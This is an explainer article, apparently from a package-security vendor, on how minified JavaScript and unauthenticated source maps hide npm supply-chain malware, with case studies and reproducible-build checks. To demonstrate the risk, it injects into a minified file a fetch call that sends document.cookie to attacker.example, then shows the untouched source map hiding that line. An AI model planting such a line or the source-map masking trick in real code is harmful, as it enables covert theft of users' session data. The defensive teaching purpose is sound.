Minification
Minification rewrites code into the smallest equivalent text. In npm packages, minified files escape review and are a common place to hide malware.
Also known as minify, minifying, minified code, minifier, uglification, JavaScript minification
Minification (also called minifying or uglification) is a build step that rewrites JavaScript, CSS, or HTML into the smallest equivalent text: it strips whitespace and comments, shortens local names, and folds constants. It cuts transfer size for browsers, but in packages it also produces files no human reviews, which makes minified code a common hiding spot for supply chain malware.
Our position is narrow and firm. Minification is a delivery optimization for browsers, and it has no business in the files Node loads from an npm package. A minified file is the one place in a package where three versions of the code can silently disagree: the source in the repository, the bytes that actually run, and the source a source map shows you. Nothing in the default npm toolchain checks that they match. Attackers have used that gap since at least 2018.
What is minification?
#Minification is a semantics-preserving rewrite of source code that minimizes byte count. A minifier does not edit text. It parses the file into an abstract syntax tree (AST), transforms the tree, and prints it back out with no formatting. The transforms fall into three classes:
- Whitespace and comment removal. Indentation, newlines, and comments carry no meaning to a JavaScript engine, so the printer omits them. License banners marked
/*!are usually kept. - Mangling. Local variable, parameter, and function names are renamed to the shortest available identifiers (
a,b,e). Mangling is safe only for names no outside code can reference, so exported names, object properties, and globals are left alone by default. - Compression. The minifier rewrites expressions into shorter equivalents: constant folding, dead code removal,
trueto!0,ifstatements to&&chains.
Here is a real run with Terser 5.51.2. Terser descends from UglifyJS, the tool that gave the practice its nickname, "uglification":
// Format a price for display.
export function formatPrice(amountInCents, currency = "USD") {
const dollars = amountInCents / 100;
return new Intl.NumberFormat("en-US", {
style: "currency",
currency,
}).format(dollars);
}$ npx terser lib/index.js --module --compress --mangle -o index.min.js
$ cat index.min.js
export function formatPrice(r,e="USD"){const n=r/100;return new Intl.NumberFormat("en-US",{style:"currency",currency:e}).format(n)}
$ wc -c lib/index.js index.min.js
236 lib/index.js
169 index.min.jsThe exported name formatPrice and the property names style and currency survive. Everything a human used to understand the code, the comment and the descriptive local names, is gone.
The savings are real at scale. As of October 2026, axios 1.21.0 ships both builds in its npm tarball. The readable dist/axios.js is 235,473 bytes; dist/axios.min.js is 76,870 bytes, 67% smaller. After gzip, the two are 59,389 and 26,315 bytes. Minification and HTTP compression stack because they remove different redundancy: gzip cannot drop a comment, and a minifier cannot exploit repeated substrings.
Minification vs. obfuscation, bundling, and compression
#Minification is routinely confused with three neighboring transforms. The distinctions matter because each one says something different about intent.
| Transform | Goal | What changes | Reversible? | Expected in an npm package? |
|---|---|---|---|---|
| Minification | Smaller files | Whitespace, comments, local names, expression form | Layout only; local names are lost | Only in browser or CDN bundles |
| Bundling | Fewer files | Many modules concatenated into one, often then minified | Partly; a source map helps | Only in browser or CDN bundles |
| HTTP compression (gzip, Brotli) | Smaller transfers | Encoded bytes; the code itself is untouched | Fully; it is lossless | Not applicable; the server applies it |
| Obfuscation | Resist reading | Strings encoded, APIs called indirectly, control flow scrambled | Not practically | Almost never; a strong malware signal |
Verdict: minify and bundle for the browser, compress on the wire, and never obfuscate open source code. In an npm package, a minified file in a browser build is normal, a minified file on a Node entry point deserves a question, and an obfuscated file deserves an investigation.
The web confirms the split in numbers. A 2019 study by Skolka, Staicu, and Pradel classified 967,149 scripts from the top 100,000 websites. Code transformations affected 38% of scripts, and almost all of that was plain minification. Advanced code obfuscation affected less than 1%. Socket's detectors mirror that split. The Minified code alert is low severity, while the Obfuscated code alert is high severity. Our JavaScript detector separates them by examining line length, whitespace, identifier naming, constant usage, and string manipulation, and it also uses AI to flag obfuscated files.
The labels matter during triage. In the axios compromise in March 2026, the malicious dependency plain-crypto-js ran a 4,209-byte dropper called setup.js. Our analysis was explicit about what it was not: "This is not minification or legitimate IP protection; it is purpose-built to hide malware indicators from scanners."
Why is minified code a supply chain risk?
#Minified code is a supply chain risk because every tool engineers use to review change is line-oriented, and a minified file is effectively one line. Insert a payload into a minified file and git diff --stat reports the same thing it reports for a one-character fix:
$ git diff --stat
index.min.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)The real dist/axios.min.js puts 71,962 characters on its fourth line. A reviewer reading a registry diff, a pull request from a dependency bot, or a vendored update sees a wall of text that changed. Nobody reads it, and nobody is expected to.
The second problem is where minified files come from. They are build outputs, so they usually are not committed to git. npm publish packs whatever is in the publisher's working directory, so the minified file in the tarball has no reviewed counterpart anywhere.
The chain behind a minified file has four artifacts, and the checks cover only some of them. The readable source in git is checked by code review. The minified file is checked by nothing unless someone rebuilds it and compares. The tarball is checked by the registry's integrity hash, which proves you got what was uploaded, and by provenance where it exists, which records which workflow built it. The source map is checked by nothing at all. No check covers the step from readable source to minified bytes.
A maintainer account takeover exploits exactly this. In the LottieFiles Player compromise in October 2024, the attacker used a compromised npm token to publish versions 2.0.5, 2.0.6, and 2.0.7. As we wrote at the time, "there was no evidence on GitHub of the code having been changed." Developers caught it by reading the code the CDN served.
The canonical case is older. In event-stream, a new maintainer added a dependency, flatmap-stream, in event-stream 3.3.6 on September 9, 2018. Version 0.1.1 of flatmap-stream carried a loader that existed only in its minified build. The readable source in the same package was clean. The loader decrypted a second stage using the importing package's description as the key, so it did nothing outside the build of the Copay bitcoin wallet. According to npm's postmortem, npm's security team was notified on November 26, 2018, 78 days after the dependency was added. One participant in the disclosure thread summed it up: the attack "was part of the minified code, not part of the visible codebase."
How do source maps hide a minified payload?
#Source maps hide a minified payload because they are unauthenticated claims about where each minified byte came from. A source map is a JSON file, standardized as ECMA-426 in December 2024, that maps positions in generated code back to positions in original files. It can also embed the original files themselves. The standard defines sourcesContent as "an optional list of source content (i.e. the original source) strings, used when the source cannot be hosted." Nothing in the format binds those strings to the minified bytes. There is no hash, no signature, and no requirement that the mappings are true.
Browser devtools, error trackers, and package viewers use source maps to show readable code in place of minified code. That is exactly the wrong view for a security review. We reproduced the problem with the formatPrice example above. We minified it with a source map that embeds the original, then edited only index.min.js and left the map untouched:
$ npx terser lib/index.js --module --compress --mangle \
--source-map "includeSources,url='index.min.js.map'" -o index.min.jsexport function formatPrice(r,e="USD"){globalThis.fetch?.("https://attacker.example/c?d="+btoa(document.cookie));const n=r/100;return new Intl.NumberFormat("en-US",{style:"currency",currency:e}).format(n)}
//# sourceMappingURL=index.min.js.mapThen we asked the map what the injected code is, using version 0.7.6 of Mozilla's widely used source-map library:
import fs from "node:fs";
import { SourceMapConsumer } from "source-map";
const map = JSON.parse(fs.readFileSync("index.min.js.map", "utf8"));
const min = fs.readFileSync("index.min.js", "utf8");
const col = min.indexOf("globalThis.fetch");
await SourceMapConsumer.with(map, null, (c) => {
const pos = c.originalPositionFor({ line: 1, column: col });
console.log("injected code at column", col, "maps to", pos);
console.log(c.sourceContentFor(pos.source));
});$ node resolve.mjs
injected code at column 39 maps to { source: 'lib/index.js', line: 3, column: 2, name: null }
// Format a price for display.
export function formatPrice(amountInCents, currency = "USD") {
const dollars = amountInCents / 100;
...export function formatPrice(r,e="USD"){globalThis.fetch?.("https://attacker.example/c?d="+btoa(document.cookie));const n=r/100;return new Intl.NumberFormat("en-US",{style:"currency",currency:e}).format(n)}1// Format a price for display.2export function formatPrice(amountInCents, currency = "USD") {3 const dollars = amountInCents / 100;4 return new Intl.NumberFormat("en-US", {5 style: "currency",6 currency,7 }).format(dollars);8}
The injected fetch call starts at column 39 of the one-line minified file. Through the untouched map, column 39 resolves to line 3, column 2 of lib/index.js, which is the clean const dollars = amountInCents / 100; line. Any tool that "un-minifies" through the map shows the reviewer the original, payload-free function. Real packages ship maps like this. The axios.min.js.map in axios 1.21.0 embeds all 57 of its original source files in sourcesContent. That is helpful for debugging and meaningless as evidence. We treat a source map the way we treat any package metadata, like the package.json fields behind manifest confusion: a claim to verify against the bytes, never a substitute for them.
Malware that hid in minified and single-line files
#The pattern repeats because it works. Two recent npm campaigns show both ends of the range.
Shai-Hulud, the self-propagating npm worm, began with the tinycolor compromise in September 2025. Each infected tarball gained a bundle.js that our researchers described as "a large, minified file that functions as a controller." The worm repacked victims' packages with that file and republished them, and the script ran automatically when the package was installed. The first report counted more than 40 affected packages. By September 16, 2025, the count was nearly 500.
The TanStack compromise in May 2026, part of the Mini Shai-Hulud wave, compromised 84 npm package artifacts. Its payload file, router_init.js, was a roughly 2.3 MB single-line body, "heavily obfuscated using the javascript-obfuscator pattern," and, as our write-up noted, "distinct from any normal minifier output (Terser, esbuild, swc)." We flagged the packages within six minutes of publication.
Does provenance prove a minified file matches its source?
#Provenance does not prove that a minified file matches its source. A package provenance attestation records which CI workflow, at which commit, produced a tarball. It says nothing about whether the build step was honest. The TanStack versions above were published through the project's OIDC binding for npm trusted publishing, and the implant submitted a Sigstore provenance attestation after publishing. An attacker who can execute inside the build gets a valid signature on whatever the build emits, minified payload included.
The check that does answer the question is a reproducible rebuild: run the same minifier, at the same version, with the same options, over the committed source, and compare bytes.
$ npx terser lib/index.js --module --compress --mangle | tr -d '\n' | sha256sum
81896f4b2a6202d38ca10e82fa2180630a1cd94a4e915a9b4a33aeea0b60c099 -
$ git show v1:index.min.js | head -1 | tr -d '\n' | sha256sum # clean release
81896f4b2a6202d38ca10e82fa2180630a1cd94a4e915a9b4a33aeea0b60c099 -
$ head -1 index.min.js | tr -d '\n' | sha256sum # tampered release
7ac95b3ec38bcde7ae5230d79e4182ac2aa6f5e2f507df348db1b83c6ad78e4d -The rebuild matches the clean release and exposes the tampered one. It costs a full build per package, and it is brittle. Run the same file through esbuild 0.28.2 instead of Terser and you get different, equally valid bytes: function n(r,t="USD"){...}export{n as formatPrice};. Any difference in tool, version, or flags breaks the comparison, so the build has to be pinned and documented. Rebuilding also means executing the package's build scripts, which needs a sandbox.
Very few packages clear that bar today. When vlt tested 5,000 high-impact npm packages in February 2025, only 5.78% were reproducible from source. Only 3.72% of the same set carried provenance at all.
For package authors, the fix is cheap: do not point main or exports at minified code. Publish the readable build for Node and bundlers, and put minified bundles behind the browser, unpkg, or jsdelivr fields for CDN users. Axios does this. Its main is a readable index.js, and its unpkg field points at dist/axios.min.js. This costs some tarball size. It does not protect CDN users, who still execute the minified file, but it keeps the code Node runs reviewable.
For consumers, treat a new or changed minified file in a dependency update as a review event, not noise. Check whether the file is reachable from the package's entry points, and compare it against the previous version. A malicious package that adds a 2 MB single-line file to a small utility has told you something before you read a byte of it. The cost is false positives: plenty of legitimate packages ship minified browser bundles, which is why our Minified code alert is low severity by design.
Install-time defaults close one path. Shai-Hulud's bundle.js needed an install hook to run, and pnpm 10.0.0 blocked lifecycle scripts by default in January 2025. npm v12 followed in July 2026 with allowScripts off by default, so dependency install scripts no longer run unless approved. Neither default touches event-stream or LottieFiles. Those payloads ran when the package's code was imported, long after install.
The registry stores the minified bytes and a hash of them, and that hash proves only that you got what was uploaded. Nothing in the ecosystem stores a verifiable link from those bytes back to source. Until reproducible builds are routine, a minified file is a claim, and its source map is a second, unverified claim about the first.
